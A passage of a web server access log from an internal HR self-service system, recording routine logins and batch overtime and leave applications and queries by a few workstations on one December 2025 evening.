+0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.77 - - [01/Dec/2025:19:38:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:38:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.77 - - [01/Dec/2025:19:39:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:39:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.77 - - [01/Dec/2025:19:39:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:39:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.77 - - [01/Dec/2025:19:39:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:39:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.77 - - [01/Dec/2025:19:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.77 - - [01/Dec/2025:19:39:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4128722490754819 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:39:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4128722490754819 HTTP/1.1" 200 8588 192.168.11.77 - - [01/Dec/2025:19:39:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4128722490754819 HTTP/1.1" 200 14552 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4128722490754819" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:39:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4128722490754819 HTTP/1.1" 200 14552 192.168.11.77 - - [01/Dec/2025:19:39:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:39:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 192.168.11.77 - - [01/Dec/2025:19:39:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:39:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.77 - - [01/Dec/2025:19:40:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:40:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.11.77 - - [01/Dec/2025:19:40:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166290 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [01/Dec/2025:19:40:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166290 192.168.12.46 - - [01/Dec/2025:19:44:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:44:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.12.46 - - [01/Dec/2025:19:44:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45094 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:44:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45094 192.168.11.71 - - [01/Dec/2025:19:46:57 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:46:57 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.71 - - [01/Dec/2025:19:47:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:47:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.71 - - [01/Dec/2025:19:47:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:47:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.71 - - [01/Dec/2025:19:47:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:47:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.71 - - [01/Dec/2025:19:47:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:47:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.71 - - [01/Dec/2025:19:47:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11585 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:47:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11585 192.168.11.71 - - [01/Dec/2025:19:47:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:47:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:19:48:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14466564967894824 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:48:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14466564967894824 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:19:48:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14466564967894824 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14466564967894824" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:48:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14466564967894824 HTTP/1.1" 200 10639 192.168.11.71 - - [01/Dec/2025:19:48:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4246 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:48:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4246 192.168.11.71 - - [01/Dec/2025:19:51:36 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:51:36 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.71 - - [01/Dec/2025:19:51:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:51:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.71 - - [01/Dec/2025:19:51:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:51:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.71 - - [01/Dec/2025:19:51:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:51:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.71 - - [01/Dec/2025:19:51:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:51:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:19:52:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.582949521913821 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:52:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.582949521913821 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:19:52:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.582949521913821 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.582949521913821" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:52:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.582949521913821 HTTP/1.1" 200 10639 192.168.11.71 - - [01/Dec/2025:19:52:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4245 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:19:52:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4245 192.168.11.71 - - [01/Dec/2025:20:02:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:02:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.71 - - [01/Dec/2025:20:02:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:02:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.71 - - [01/Dec/2025:20:02:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:02:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:03:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:03:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.71 - - [01/Dec/2025:20:03:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:03:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:03:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:03:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:03:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6436984881122024 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:03:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6436984881122024 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:20:03:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6436984881122024 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6436984881122024" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:03:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6436984881122024 HTTP/1.1" 200 10639 192.168.11.71 - - [01/Dec/2025:20:04:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:04:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.71 - - [01/Dec/2025:20:04:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:04:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:04:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:04:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.71 - - [01/Dec/2025:20:04:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10869 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:04:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10869 192.168.11.71 - - [01/Dec/2025:20:04:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120307 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:04:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120307 HTTP/1.1" 302 - 192.168.11.71 - - [01/Dec/2025:20:05:00 +0800] "GET 